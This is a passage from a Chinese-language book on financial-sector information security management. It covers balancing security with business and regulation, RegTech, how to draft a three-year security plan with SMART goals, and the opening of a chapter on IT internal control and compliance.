处理步骤越便捷、验证过程越简单越好。但是从信息安全的角度,有些必要的风险控制措施又不能简 化。 例如,商业银行的II、III类电子账户的开设就是一个很典型的例子。从客户体验和便利性角度,开户 信息及验证步骤越少越好,但是从信息安全角度,需要客户提供更多的个人信息,通过人脸识别、短信 验证等步骤,才可以在客户不跟银行人员面对面接触的情况下,正确核验客户身份,确保客户开户意愿 的真实性,既能保护客户不被假冒开户,也能够防止客户抵赖。 客户转账或支付是第二个典型的例子。为了给客户更便捷的体验,有些金融企业采用一个认证因素 (例如静态密码、指纹等)即可完成转账或支付类交易,但这会给某些攻击者可乘之机,因为静态密码 很容易通过撞库等攻击方式获取,而客户指纹信息也可以被复制。因此从信息安全的角度,必须采用两 种以上不同类别的认证因素,方可完成转账或支付这类对客户账户余额有改变的“动账”类交易,但这样 显然会影响到客户体验。 2.信息安全与业务的一致性 金融行业的业务,可以说都是与风险相关的,高收益的背后往往是以承受的高风险为代价,所以开 展业务的同时,必须尽可能采取措施使得风险最小化,这一点跟信息安全管理目标是一致的。 信息安全与业务的一致性,体现在事前预防、事中拦截、事后告警等方面。例如,通过业务风控系 统的建设,可以实现以下目标: ·事前预防。在客户身份验证的同时,通过预先设立的黑名单,与客户身份证、手机号等进行匹配, 对于命中的直接拒绝开户或交易;在信贷审批之前,运行风险模型,对于符合高风险特征的不予审批通 过。 ·事中拦截。通过预先建立的风控规则,与客户开户或交易行为进行比对,对于符合风险模型的(如 同一个IP地址短时间内集中开户或交易,同一个手机号同时开立多个账户等)进行交易拦截。 ·事后告警。通过设立告警规则,提供告警信息,出具风险报表,提供给业务部门进行处理;在信贷 放款后对客户信息持续跟踪,对于可能出现还款风险的客户提前采取措施。 3.信息安全与业务的共赢 要实现信息安全与业务的共赢,首要的就是双方先改变心态,停止争执,朝着一个目标方向努力, 争取最大公约数,取得风险和效益的平衡。具体来说,常见的兼顾风险和效益的方式包括: ·风险分类。信息安全人员和业务人员要一起对风险进行分类分级,根据风险的大小及发生频率,优 先化解高风险或者高频交易风险;同时调研了解同业采用的方式,学习同业经验,寻找是否有更好的风 险管控措施。 ·“前轻后重”。所谓“前轻”,就是对于直接提供客户体验的前端来说,在满足监管要求的前提下,设 计尽可能简单的规则,例如客户信息遵循“必须知道、最小原则”,身份验证方式遵循“够用就好原则”。但 这个必须与强大的后台相配套,也就是说,后台的风控必须到位(即“后重”),要有黑名单或灰名单客 户,要有风险监测模型,要有紧急情况下一键关停规避风险的功能,否则就会留下巨大的风险缺口。 ·客户风险等级分类。对于金融企业的客户,要有分类分级管控的技术方案,通过运行一定规则对客 户进行分类,对于风险等级为“低”的“白名单”客户,身份验证措施可以非常简单,保证客户的良好体验; 对于风险等级为“中”的客户,可以多增加一个身份验证措施;对于风险等级为“高”的客户,可以直接要求 面核面签;对于有过不良记录的“黑名单”客户,可以直接拒绝服务。 ·额度管控。从交易金额的角度控制,针对不同的金额设置不同的安全管控措施。例如,对于小额的 交易,可以采用免密免签或者简单验证因素的方式;对于大额的交易,必须使用数字证书或者动态令 牌、U盾等方式验证身份;对于其他交易,可以采用静态密码+短信动态验证码/指纹/人脸识别等双因素验 证身份。 2.4 信息安全与监管的关系:约束与保护 长期以来,金融行业的信息安全工作都是在较强的监管形势下开展。很多金融企业的信息安全工作 框架,就是遵循着监管的要求一步步搭建起来的。而金融行业的监管要求,也往往会根据金融行业发生 的风险事件而不断补充完善。 金融企业需要正确认识监管要求对工作的推动作用,认真学习和理解监管要求,深入领会监管要求 的实质,从而建立起科学合理的信息安全管理和技术框架。 1.信息安全监管的约束 金融行业信息安全相关监管要求,对于金融企业首先是约束。 所有信息安全工作需要在监管要求的框架下开展,需要遵循各个方面监管要求的细节规定,需要针 对监管要求和风险提示展开对标、风险排查和整改,需要随时接受监管机构现场和非现场的检查,需要 认真落实监管下达的风险监测报表、自查报告等各项要求。 对于监管规定的重点工作、例行工作等,必须落实到金融企业内部工作计划中;对于监管规定的管 理要求,必须落实到金融企业的组织机构、制度建设、团队建设等各项工作任务中,建立长效工作机 制;对于监管下达的技术标准,必须落实到金融企业的信息系统建设、运维监控建设或者信息安全技术 防控工作中。 金融企业内部要成立专门的信息安全工作团队,负责确保监管要求在金融企业严格落实到位,确保 信息安全工作“治标又治本”,确保信息安全管理和技术防控的实际效果,确保日常的信息安全检查、评 估和整改机制能有效地发挥风险控制作用。 2.信息安全监管的保护 同时,金融企业必须认识到监管要求对自己的保护作用。 信息安全监管要求是监管机构基于国家信息安全防控总体策略、国内外信息安全形势、监管机构自 身的前瞻眼光和管理思路、金融行业已经发生的风险事件相关经验教训,经过归纳、总结、提炼出的纲 领性、全局性要求,从战略高度和战术细度,提出了诸多具有很高实操性、实用价值的条款,从某种意 义上说,对于金融企业形成了保护。 首先,对于很多金融企业特别是信息安全建设处于初级阶段的金融企业来说,学透了监管要求,就 能把握最关键的信息安全风险,搭建起基本的信息安全防控框架,建立起组织架构和制度,使技术安全 防控有章可循,也就有更好的风险防控效果。 其次,监管要求中隐含了很多其他金融企业贡献的知识和技能,实际上是一种行业经验的积累、沉 淀和传承。对于信息安全基础薄弱的金融机构来说,这是一种快速获取同业经验的方式。例如,监管机 构历次发布的信息安全风险提示和风险事件案例,实际上就是很好的“教科书”,让风险处置经验不足的 金融企业可以提前排查类似风险隐患,防患于未然;而当实际发生风险事件时,这些内容又可以成为“知 识库”,从中先去搜索类似案例,寻求最快的解决方案。 最后,当风险和收益发生冲突时,遵循监管要求的底线,是信息安全人员判断是否可以给业务“让 步”的重要参照,也是信息安全人员有底气说“不”的有力支撑。 2.5 监管科技 随着金融行业信息技术的蓬勃发展,特别是金融科技的广泛应用,监管机构的监管方式也不断创 新,监管科技几乎是伴随着金融科技的诞生应运而生的。美国、英国作为金融科技的先行者,在监管科 技这一分支领域的发展也是最早最快的,其经验值得借鉴。中国的金融科技发展迅猛,监管科技领域也 在逐步发展。 国内外不同机构对于监管科技的定义基本达成共识,即“通过科技手段,服务监管需求,提高监管效 率”。2017年中国人民银行金融科技委员会成立,旨在加强金融科技工作的研究规划和统筹协调,其工作 职责之一是“强化监管科技(Regulatory Technology,RegTech)应用实践,积极利用大数据、人工智能、 云计算等技术丰富金融监管手段,提升跨行业、跨市场交叉性金融风险的甄别、防范和化解能力”。 监管科技的目的一方面是控制风险,确保合规;另一方面则是保护创新,引导新技术在金融领域的 正确使用。简而言之,就是要处理好安全与发展的关系,促进金融企业安全地创新,合规地发展。 监管科技的需求对象,既包括监管机构,也包括被监管的金融企业。对于监管机构来说,利用监管 科技可以减轻监管压力,提高监管效率和水平;对于金融企业来说,利用监管科技可以快速应对监管要 求,降低合规成本。可以说,在监管科技中,监管科技公司、金融企业及监管机构各司其职。 监管科技应用非常广泛,对于金融企业来说,主要应用领域包括: ·合规管理。将外部法律法规、行业规范、监管要求以及内部规章制度要求,转化为数字化的规则要 求,为金融企业提供合规管理的平台和工具,实现数据自动收集、整理和精确分析,输出外部监管或内 控合规相关的数据和报告。 ·企业风险管理。例如,实现业务反欺诈、网址反欺诈、伪基站检测等风险监测和预警的自动化平 台,以及信息安全风险评估、安全预警的自动化平台,帮助金融企业发现并预防诈骗、攻击等风险,并 做好提前防范。 ·税务管理。例如,提供纳税解决方案的系统,收集金融企业报税相关的各种数据,保存执行记录并 协助完成税务管理机构所需的报告和数据,促进纳税工作的自动化和流程合规性。 ·反洗钱。建立反洗钱数据采集、处理、分析平台,建立可疑交易的数据规则和模型,实现符合特征 的账户和交易自动预警,帮助金融企业核查是否符合反洗钱相关规定,防止金融企业被卷入非法洗钱活 动。 ·交易监控。监控员工或客户异常行为,确保遵守贸易限制,限制客户进行未授权的交易活动等;对 内幕交易、高频交易等进行智能化识别、关联账户识别,发现潜在交易风险等。 对于监管机构来说,监管科技的应用领域主要包括: ·金融企业日常监测。建立金融信息统计和监管信息系统,利用大数据、人工智能等技术对采集的金 融企业数据进行综合分析,设置监管阈值对风险状况进行检测和预警,为有效识别和化解金融风险、整 治金融乱象提供支撑。 ·金融企业合规性分析。对法律法规、行业规范、监管政策等合规性要求的数字化提炼和表达,收集 金融企业对应信息,通过比对合规性要求和金融企业的实际情况,对金融企业进行主动监管。 ·甄别不法机构和行为。收集金融企业运行数据,对业务特征信息和行为数据进行动态分析和实时监 测,有效掌控金融企业的业务模式和经营状态,识别违规和不当行为,快速甄别名为创新、实则欺诈的 不法机构,识别和打击监管套利行为,保护金融消费者合法权益,实现金融行业可持续发展。 ·发现行业性风险。搜集、分析金融行业的数据,结合互联网上的结构化和非结构化数据,横向实现 监管信息跨国家和地区共享,纵向整合跨越时间段的历史信息,进行行业性的风险趋势分析,提前识别 和预判行业性、区域性风险隐患,发现违规和不当行为,提升金融行业的风险协同处置能力。 ·比特币/区块链风险防范。监管方和市场各方同时存在比特币/区块链上,监管方实时监控比特币/区 块链上的异常交易,追踪非法交易的来源、客户账户状态和客户身份,并提供有价值的情报和风险分析 报告。 在金融科技发展日新月异的新形势下,监管机构将大量运用监管科技手段,逐步实现与金融企业数 据的实时、准实时在线对接,对金融企业开展及时、有效、可追溯性强、不可抵赖的监管,将风险识别 和控制提前到事前、事中阶段,提高监管效率和能力。原有的依靠个人经验和金融企业报表报告的方 式,由于耗费大量人力且侧重于事后监管,将作为辅助手段,专注于监管科技顶层规划设计、政策和标 准制定,行业统筹协调等方面。未来的金融行业监管,将由监管专家与监管科技手段协同运作,以监管 科技来应对金融科技所带来的风险隐患。 2.6 小结 本章对金融行业的信息安全特性、安全态势、面临主要问题、安全目标和安全基线进行了讲述,剖 析了信息安全与业务、信息安全与监管的关系,并对监管科技的应用现状和趋势进行了简要分析。使读 者可以直观地了解信息安全行业的概况。 第3章 安全规划 金融企业信息安全建设中,有一项最基本的东西—安全规划,准备不够充分,就会导致工作千头万 绪但收效甚微,也会导致员工起早摸黑却碌碌无为。所谓“凡事预则立,不预则废”,有规划的信息安 全,才能忙而不乱,事半功倍。 3.1 规划前的思考 我们会在日常工作中有非常多的时间浪费现象,或者感觉太辛苦。著名企业文化与战略专家陈春花 老师曾说过,要常问自己三个问题: 1)你为什么会辛苦?很多人会发现你想做的事情下属没帮你去做。 2)你为什么很辛苦?你发现每一个小时的效率不够。 3)你为什么那么辛苦?是因为你发现很多人做的事情并不真正产生效益。 据史书记载,诸葛亮54岁去世,诸葛亮为何英年早逝呢?诸葛亮以忠君扶蜀为先,把自身的健康放 在一边,既不锻炼,又不习武。为了一统天下,诸葛亮常常要深谋远虑,运筹帷幄。他还习惯于晚睡早 起,一生谨慎小心,军中事无巨细,都要事必躬亲,整天弄得精疲力竭。这种身心劳累的负担,年轻时 还能应付,一旦过了中年,就会显出快速衰老的征象。据史书载,诸葛亮的使者到了魏营,司马懿不问 军中之事,单问诸葛亮的饮食起居和工作忙闲情况。使者告诉他,诸葛公向来喜欢晚睡早起,连罚打士 兵二十军棍这样的小事都要亲自处理,可早饭却吃得很少。司马懿听后马上得出结论:“亮将死矣!”果 然不出司马懿所料,不久在撤退途中,诸葛亮就忧虑呕血而亡。可见,事必躬亲,对大BOSS来讲,弊大 于利。 三个问题,一则典故,反映了很多问题和错误,这些错误显然都不应该发生。但怎么解决呢?这个 见仁见智,可以有很多角度的解决方案。但在信息安全领域,首要的解决方案就是做好安全规划。 金融企业战略规划(通常是五年为周期)、IT战略规划(通常三年为周期)、信息安全三年规划、 ××年工作计划,是自上而下、一脉相承的。负责制订IT战略规划的人,通常会要求企业安全负责人提供 信息安全三年规划作为基础材料,统筹而成。能否做一份看起来高大上,实施起来又接地气可执行的信 息安全规划,是金融企业安全负责人的必备技能。 信息安全规划,以及在此框架下的年度工作计划,决定了新一年的安全投入,包括人员和资金的预 算。而预算的大小,往往和IT战略规划中信息安全相关内容的篇幅形成正比关系。 在信息安全规划编制启动时间点选择方面,建议选择每年10月启动,12月定稿。有的企业喜欢12月 启动,春节前后甚至3月底定稿,这样的时间安排存在很大弊端。企业工作中,总结、考核、预算,通常 以自然年为单位(大部分金融企业如此,外资企业不同),而企业员工概念中,一年工作结束一般以农 历年为单位。因此元旦到春节后,各种年会、总结、庆祝,基本上处于一个工作断档期。规划如果是3月 前后定稿,那么和规划相关的重点项目的资源准备,如合作厂商技术交流测试、项目采购等,就会浪费 自然年的第一季度。如果每年10月启动,12月定稿,就可以利用元旦到春节前后的时间,进行规划相关 项目、资源的准备工作(比如,采购文档编制、采购流程发起、新招人员面试笔试等),春节后就可以 开足马力,立刻开干。 安全规划考虑的因素,除了时间外,还应该考虑监管要求、企业风险偏好、IT战略目标、技术发 展、资源约束、安全价值体现等,此处就不一一展开了。 3.2 规划框架 安全规划的框架,应包括概述、需求分析和安全目标、各个安全领域的现状和差距分析、解决方案 和计划、安全资源规划、当年重点项目和重点任务、上一版安全规划目标差距分析等。以下是安全规划 的框架示例,如图3-1所示。 图3-1 安全规划框架示例 概述部分主要包括信息安全形势分析,安全形势可以是外部安全形势、行业形势、监管和股东要 求、对手分析(攻击者、内部异常员工)等。 安全目标是指规划周期结束组织应该达到什么样的信息安全水平。安全目标应该是跳一跳,拼命奔 跑才能达到的,甚至是很大概率达不到的,而不应该是躺在床上就能实现的。 对现状和差距的分析相当于自我体检,最重要的是能从过往的安全检查中分析管理差距,以及从白 盒检测、黑盒检测失效中获得技术差距。其中黑盒检测有两大利器,即安全众测和红蓝对抗,能够先于 对手发现自己的漏洞和弱点,对这类检测失效的原因进行深挖,是差距分析的重点。 解决方案和计划,解决方案提出的一条条解决措施,最终要落到重点项目和任务上去实现。计划分 解的频度方面,当年的至少细化到月,未来两年的细化到季度即可。 当年重点项目和重点任务,是解决方案落地的关键,当年的工作目标靠重点项目和重点任务实现。 差距、解决方案、重点项目和任务、计划要形成一系列有继承关系的完整链条,才是可落地的整套规 划。项目和任务的区别是,项目比任务要大和复杂一些,任务属于优化改进的小措施,项目通常是要立 项和花钱的,如图3-2所示。 图3-2 安全规划落地示例 上一版安全规划目标差距分析,是针对上一阶段的规划执行情况进行回顾和检讨,排查实际完成效 果与规划目标的差距,分析造成差距的原因,避免新规划执行过程中重蹈覆辙;分析后认为需要调整或 补充执行的内容,放入新的规划中落地。 3.3 制订步骤 制订安全规划的步骤包括: 1)调研。 2)确定规划目标、现状和差距。 3)制订解决方案。 4)一稿,二稿……直到定稿。 5)向上层汇报。 6)回顾。 3.3.1 调研 做规划前,大BOSS一般喜欢问我们几个问题: ·未来三年,本团队要做的最牛的三件事是什么? ·未来三年,你认为世界最好的团队会做哪三件最牛的事(我们不做的原因)? ·未来三年想做但没敢写入规划的三件事是什么?本团队领域,很有价值但技术没有可能实现的事情 是什么?请列出1~2件。 每年最痛苦的就是怎么填这个大坑了,后来,我们将大BOSS的问题转换了一下,更接地气一点: ·这个领域最好的团队在做什么(最佳实践)。 ·我们在同业处于什么水平(自我感知)。 ·我们的现状(存在哪些差距)。 回答上述问题的最好渠道是实地调研,多方学习,例如: 一是向大型互联网企业学习,这些大型互联网企业无论是面临的安全威胁、全量的攻击场景、复杂 的网络和应用环境,还是海量的服务器、终端、人员数量、遇到过的坑等,都是宝贵的实践经验。稍显 遗憾的是,互联网企业(特别是做安全的)不太可能敞开心扉进行传道授业解惑。因此,拥有一定的安 全圈人脉资源也是企业安全负责人的必备条件之一,越来越多的企业安全人员招聘也要求这点。同时, 注意参加这些互联网企业举行的年度会议,也能收获很多干货,建议多参加此类会议,远离厂商自嗨 会。 二是向同业学习。可以抓住一切了解金融同业的机会,向规模比自己大的企业学习实践中遇到过的 问题,向规模差不多的企业学习资源配置情况,向规模比自己小的企业学习单点突破能力强的领域。每 年开春后,北上广深走一圈,基本上就能大致了解整个行业的概况。 3.3.2 目标、现状和差距 调研结束后,金融企业安全负责人通常对行业的未来趋势和规划方向有了大致了解,接下来就需要 明确本企业的目标,分析现状和差距。 1.目标 目标来自于企业战略规划和IT战略规划,分为总体目标和具体目标。 ·总体目标,应尽可能清晰、简洁,相对宏观和“务虚”。企业安全目标可以定义为“通过综合应用各类 安全解决方案,发现并预防各类安全风险,能够承受除DDoS以外的黑客高手或者黑客集团的攻击;内部 系统能有效防止非专业人员有意或者无意的数据泄露;能发现对内部重要服务器的普通内部黑客的攻 击;对人员进行安全合规教育,违规、违纪现象持续降低,安全审计发现持续降低”。 ·具体目标,应尽可能明确、数字化,相对微观和“务实”。例如,非本企业组织的互联网系统漏洞发 现为0;安全防护100%全覆盖;互联网基础设施风险在2小时内化解;自动化验证平台100%覆盖所有管控 措施,管控措施失效能够在24小时内发现…… 关于规划的目标,有两点注意事项需要说明。 一是目标绝对不合理。目标是一种预测,没有人敢说预测是合理的;而且,目标是一种决心,你发 誓要做什么,目标就会出来。目标其实是你自己战略的一个安排,决定你目标的是三个要素:你对未来 的预测,你下的决心,你的战略想法。 二是实现目标的行动必须合理。理解了这点,规划就成功了大半,才能围绕实现目标制订行动计 划。如果实现目标的行动是合理的,那么看似不合理的目标反而有实现的可能。 关于目标,陈春花老师有三个建议,笔者很赞同,在此也做些分享: ·目标一定是从上往下,一定不要从下往上。我们最喜欢犯的错误就是团队或者个人将自己要做的工 作一报,报完集合起来然后往下一拍就行。目标绝对不能从底往上报,目标一定是上边来定,其他东西 都可以授权,但是目标设定是不授权的。 ·目标必须是个人的目标。目标一定要给到个人,而不可以给到部门。 ·每一个人承接的不是目标,而是一套解决方案。他必须去承诺这个解决方案,怎么让这个目标实 现。目标不是要确保实现1亿的销售额,而是要告诉我为了实现这个销售额的行动方案是什么。 此处,科普一下目标设定的SMART原则及在安全规划领域的应用,如图3-3所示。 图3-3 SMART原则 (1)Specific—明确性 所谓明确的就是要用具体的语言清楚地说明要达成的行为标准。明确的目标几乎是所有成功团队的 一致特点。很多团队不成功的重要原因之一就是目标模棱两可,或没有将目标有效地传达给相关成员。 举个例子,安全目标中有一条是“防黑反黑”。这种对目标的描述就很不明确,因为我们不知道要防 护哪些目标,防护什么级别的黑暗力量。所以最后可以改成:能够承受除DDoS以外的黑客高手或者黑客 集团的攻击;内部系统能有效防止非专业人员有意或者无意的数据泄露;能发现对内部重要服务器的普 通内部黑客的攻击。 (2)Measurable—衡量性 可衡量的是指应该有一组明确的数据,作为衡量是否达成目标的依据。如果制订的目标没有办法衡 量,就无法判断这个目标是否实现。 举个例子,定安全目标时,常见的用词是“提高××水平”“加强××能力”“完善××措施”,这些目标是无 法衡量的,因为不知道要提高到什么水平,加强到什么能力,完善哪些措施。在内部定具体安全目标时 尽量使用可量化的目标,例如,非我公司组织的互联网系统漏洞发现为0;管控措施失效能够在24小时内 发现,等等。 (3)Attainable—可实现性 目标是能够被执行人所接受的,目标设置要坚持员工参与、上下左右沟通,使拟定的工作目标在组 织及个人之间达成一致。目标不能是躺在床上就能完成的,也不能是“摘星星”的工作任务。 举个例子,中小金融企业如果提出所有安全防护系统和工具都自研这一目标,虽然勇气可嘉,然而 实现起来却非常困难。当目标完全不可实现,会打击团队士气,造成“死猪不怕开水烫”的后果。 (4)Relevant—相关性 目标的相关性是指实现此目标与其他目标的关联情况。如果实现了这个目标,但对其他目标完全不 相关,或者相关度很低,那么即使达到这个目标,意义也不大,还很有可能劳民伤财,得不偿失。 举个例子,所有安全规划的目标和任务都是围绕保障企业安全性,并最终促进企业战略目标来计划 的,如果一项工作与企业战略目标完全无关,不管其技术先进性多么强,都应该忽略。 (5)Time-bound—时限性 目标的时限性是指目标是有时间限制的,没有时间约束的目标是没有办法衡量和评价的。 举个例子,安全工作的目标和任务需要时间约束,比如三年后达到什么安全水平,每一年提升哪些 安全能力,每个季度完成哪些安全任务,都是时间条件强约束。 2.现状和差距 对于现状和差距主要考虑以下两点: 一是分析维度要全,建议分成安全管理、安全防护、安全运营、安全资源、安全度量五个维度。安 全管理考虑组织架构、职责、制度、考核;安全防护考虑覆盖网络层、虚拟层、系统层、应用层、数据 层、用户层的纵深防护技术体系;安全运营考虑安全运维、安全验证、安全反制;安全资源考虑人员、 流程、资源;安全度量考虑技术维度、安全运营成效、安全满意度和安全价值。现状和差距最好能做到 全量摸底,重点突出。 二是敢于自揭老底,自我否定。不要自我感觉良好,没发现异常很可能是发现能力不够,没有事件 很可能是运气好。 3.3.3 制订解决方案 目标确定并分析差距后,必须针对性地制订解决方案,才能确保目标落地实现。制订解决方案要注 意以下几个原则: 一是要体系化。头痛医头脚痛医脚,可能短时间得到一点效果,但禁不住大BOSS问,怎么又是这个 问题,怎么又要这个投入,你们能一次性和我说清楚吗,等等。有些问题,初看是技术问题,仔细想 想,其实根源还是管理问题。遇到问题,最好从管理和技术两个方面考虑解决措施,得到综合的结果。 二是要可持续。金融企业有个常见的例子,给分行或分支机构上IPS/IDS,但分行或分支机构根本就 没有能看懂IPS/IDS日志的管理员,如果合规要求必须上,那一定要考虑日志如何收集、分析和处理。最 好的做法是将日志统一上收到总部,由总部统一管理和运营(注意不是运维,日常开机等还是分支机构 管,日志分析和异常告警由总部完成)。每项安全措施、每套安全设备都是有管理成本的,如果仅仅上 一个技术手段,而不考虑持续的运营,那么这个解决方案整体看来就是无效的。 三是要可接受。制订解决方案后,要确保安全团队的每位成员都从心里认同它、接受它,这样执行 才会有效率和有效果。提高团队成员接受程度的一个好方法是,先让团队成员熟悉目标、现状、差距, 然后找晚上时间进行头脑风暴,连续一周,强化训练。当然,头脑风暴过后,要记得去“撸串”,团队建 设、凝聚力、肚子饿的问题就都一并解决了。 3.3.4 定稿 一稿,二稿,……,定稿。关键是迈出第一步,完成第一稿,万事开头难,一旦开始就停不下来 了。这个过程还有一个很重要的环节—征求意见。首先,在安全团队内部充分讨论、碰撞,形成共识; 其次,在IT内部其他团队征求意见,取得共识;再次,要做好上层汇报,完成定稿。 3.3.5 上层汇报 管理领域有个话题—如何管理你的上级,将上级作为你工作的资源之一。这是非常重要而有趣的话 题。安全汇报是“管理”上级工作中非常重要的一环,往往也是安全人员最不擅长的一环。 首先,要建立面向高级管理层、IT部门总经理、安全团队内部的安全汇报体系。每年至少要向高级 管理层汇报1~2次,内容包括安全规划、安全形势、重大安全决策等。汇报形式可以是IT治理委员会或总 裁办公会框架下的正式会议,也可以是定期的签报形式,这取决于企业内部的流程规定和具体需求。 其次,要在IT部门和安全团队内部进行常态化的安全汇报,此类汇报的内容要围绕三个目的展开— 介绍取得的成果(邀功),表扬先进和督促后进,索要资源。 具体到安全规划的汇报,建议先向IT部门总经理汇报,就目标、计划、资源达成一致。但大部分总 经理没有精力也不应该过多关注解决方案等细节,最多可能关心现状分析中存在的主要问题。达成一致 后最好能在高级管理层汇报一次,可以是单独的安全规划议题,也可以合并在IT战略规划中,向高级管 理层报告。 3.3.6 执行与回顾 安全规划的执行与回顾,是规划全生命周期中非常重要的一个环节。因为一个看似一般但严格执行 的规划,远胜于一个看似很好却无法或未能执行的规划。为了确保安全规划的落实,最好的方法是将安 全规划目标分解落实到安全重点项目和工作任务,再将重点项目和工作任务分解落实到安全团队每位员 工的年度绩效考核中。至少每季度开展一次重点项目和工作任务的回顾,至少每半年开展一次安全团队 员工绩效的回顾,回顾后需要制订针对性的改进措施。 在实践中,经常可以听到关于规划无用论的抱怨,如果做完规划就将之束之高阁,那么规划当然没 用。而坚定不移地执行规划并做好定期回顾,将规划作为真正的行动指南,规划才能避免成为空中楼 阁。 通常信息安全规划一次做三年,每年滚动更新。任正非说过,方向可以大致正确,组织必须充满活 力。就是说,大家必须充满活力地去执行规划,但在执行中可以随时调整规划。 3.4 注意事项 从某种意义上讲,安全规划其实是一套行动方案。规划不是目标分解,而是行动指南。在做规划的 时候,还有以下几点要特别注意,才能取得更好的成效。 一是要有逻辑,切记堆砌。很多企业安全负责人不重视安全规划,为了省时间,简单地把自己想做 的工作全部罗列出来,就形成了一个安全规划。但对于为什么要做这些工作,能解决什么问题,提高到 什么安全水平,和同业的差距等,没有系统的介绍,那这份安全规划得到高级管理层支持的概率会很 低。 二是既要实(可落地),也要虚(远大目标),虚实结合。总体目标、方向上可以务虚,眼光看远 一些,目标定高一些;具体措施上、行动上必须务实,脚踏实地,分解成一项一项行动计划,才可以确 保规划的最终效果。 3.5 小结 年底是企业安全负责人最忙的时间,但也是做安全规划的最佳时机,必须重视安全规划,因为安全 规划是“纲”,而“纲举”方能“目张”。适时做出一份看起来高大上、实际实施又接地气、可执行的信息安全 规划,是企业安全负责人的必备技能。 第4章 内控合规管理 金融行业的典型特征是,各项业务开展以及IT发展,必须遵守各项管理规定,合规是金融企业的底 线和最低要求。为落实监管规定以及企业内部管理制度,金融业内部控制(简称“内控”)的要求相对其 他行业高出不少。对于金融机构来说,IT内控合规是广义信息安全的一部分,而且是科技管理体系中很 重要的一环。 4.1 概述 4.1.1 合规、内控、风险管理的关系 合规、内控、风险管理,是金融企业经常提到的三个关于合规建设的概念,这三者之间既有区别, 又有关联。 ·合规管理是最基础的层面,合规管理的目标是避免违反内外部法律法规、规章制度、流程规范,避 免因不合规导致的风险。 ·内控比合规管理更进一层,内控不但要求合规,还要审视“规”是不是完善,“规”有没有配备相应的 执行点,执行“规”的过程是不是有效。 ·风险管理,特别是全面风险管理,是风险管控的最高形式。风险按标准划分为市场风险、信用风 险、流动性风险、操作风险、法律风险。而合规、内控只是操作风险管理的手段。大部分金融企业会设 置首席风险官,属于公司高级管理层。 虽然从一般意义上说,风险管理>内控>合规,但由于企业习惯将风险管理及其所包含的内控、合规 活动统称为内控合规管理,而且本书探讨的是企业信息安全管理,故本书所称的内控合规,特指IT内控 合规,即围绕信息科技风险管理的一系列管理活动。 4.1.2 目标及领域 金融企业IT内控合规管理的目标是,通过建立有效的机制,实现对金融企业IT风险的识别、计量、 监测和控制,对外保障IT活动符合监管机构各项管理要求,对内确保各项管理要求的落地和控制措施有 效,最终实现IT风险可控。 在具体实践中,IT内控合规管理的领域包括:信息科技风险管理、监督检查、制度和公文管理、业 务连续性管理、信息科技外包管理、分支机构管理,以及其他一些工作。根据不同企业对IT内控合规的 理解不同,管理的领域可能会有一些不同。 在很多金融企业中,IT内控合规管理的岗位给人的印象就是“写报告”,这种说法比较通俗易懂,但失 之偏颇。 其一,写报告只是展现方式,报告中的内容,需要各种学习、对标、检查、督促等大量的积淀。所 谓“巧妇难为无米之炊”,可以说,先要有对风险的深度掌控这个“米”,才能做出一份好报告的“炊”。 其二,要写好一份报告,不是简单的文字堆砌,而是需要能力、知识、技能和逻辑架构的功底,需 要很多年持之以恒的积累和丰富的技巧。针对不同的对象要有不同的报告,针对不同的要求要有不同的 报告,针对不同的时期也要有不同的报告。所谓“运用之妙,存乎一心”,要写得非常熟练、自然、流 畅,要合乎阅读对象、形势、场景、时间的需要,需要多年的积累,方可挥洒自如。 4.1.3 落地方法 笔者从IT内控合规管理工作的经历中,总结出一套落地方法,可以用一个简单的口诀表示——外规 对内规,内规对检查,检查对整改,整改对考核。 ·外规对内规。将外部规范要求分解成元要求,去重合并,和内部规范一一对应,每条元要求对应的 结果为三者其一:1)满足要求;2)冲突;3)缺失。如果是2)、3)两种情况,要么修订内部规范,要 么增加内部规范,以满足外规要求。通过识别,外部规范(指中国人民银行、银监会、公安部等监管机 构发布的规章)分解成9大类、52个小类、1249条元要求,去重合并后形成外规内规对应关系。在外规对 内规的梳理过程中发现了部分外规元要求没有内规承接和冲突的情况。 ·内规对检查。依据监管要求和外部标准梳理出内部规范后,建立一套适用的检查标准,并进行全面 覆盖的检查,包括常规检查、专项检查和事件驱动检查。具体内容见4.3节“监督检查”。 ·检查对整改。建立一套电子化系统,实现检查计划制订、检查实施、报告管理、问题跟踪等全过程 的电子化管理。检查发现和整改情况纳入问题管理流程。 ·整改对考核。将检查发现和整改情况纳入团队和个人当月和年度考核,实实在在地与个人收入挂 钩,才可能引起重视,提高整改达成率。 较多的大型金融机构(如银行)均建立了外规条款数据库,并可以根据关键字进行快速检索查询, 供内部使用,取得了不错的效果。 下文分别介绍IT内控合规管理的各个领域。 4.2 信息科技风险管理 银监会发布了《商业银行信息科技风险管理指引》,证监会(包括协会)发布了《证券期货经营机 构信息技术治理工作指引(试行)》《证券期货经营机构信息技术治理工作指引(试行)》等,对信息 科技风险管理提出了明确的管理要求。 注意 银行业“信息科技”的提法较多,证券基金期货“信息技术”的提法较多,本文未做严格区分。 4.2.1 原则 信息科技风险是指在运用信息科技过程中,由于自然因素、人为因素、技术漏洞或管理缺陷产生的 操作、法律和声誉等风险。信息科技管理的原则如下: ·事前预防为主原则。在风险发生以前建立有效的风险管理措施,降低风险发生的可能性或减少风险 可能造成的损失。 ·全面性原则。信息科技风险管理应覆盖到全行各部门、岗位、人员及操作环节中,使信息科技风险 能够被识别、评估、计量、监测和控制。 ·成本效益原则。对风险管理措施的实施成本与风险可能造成的损失进行分析比较,选取成本效益最 佳的风险控制方案。 对信息科技风险的管理需要根据董事会设定的风险偏好,在成本效益原则下,最大限度地完善信息 科技风险管理体系,保障IT长期、稳定、健康的发展。 4.2.2 组织架构和职责 典型的信息科技风险管理组织架构示例如图4-1所示。 图4-1 信息科技风险管理组织架构 下面简单介绍金融机构信息科技风险防范三道防线。在一般商业银行中三道防线的概念比较多,其 他证券保险基金期货用此概念较少,但实际部门组织架构和岗位职责的设置是类似的。 第一道防线:信息科技部门 ·主要关注日常的风险管理。 ·识别、分析与评估、控制、监测及报告风险管理情况。 ·信息技术部门各团队严格执行各项风险管理政策和要求,定期评估。 ·通常向首席信息官、信息科技管理委员会报告。 第二道防线:风险管理部门 ·侧重制定风险管理政策、制度、流程,在第一道防线的基础上对风险进行集中管理。 ·在总部层面设立风险职能部门,监督和协调整个风险管理框架的有效性和完整性,与前台部门保持 相对独立。 ·对IT条线提供精细化的风险管理策略和支持。 ·与第一道防线保持一定的独立性,通常向首席风险官、风险管理委员会报告。 第三道防线:稽核审计部门 ·按期进行全面的或专项的审计或稽核。 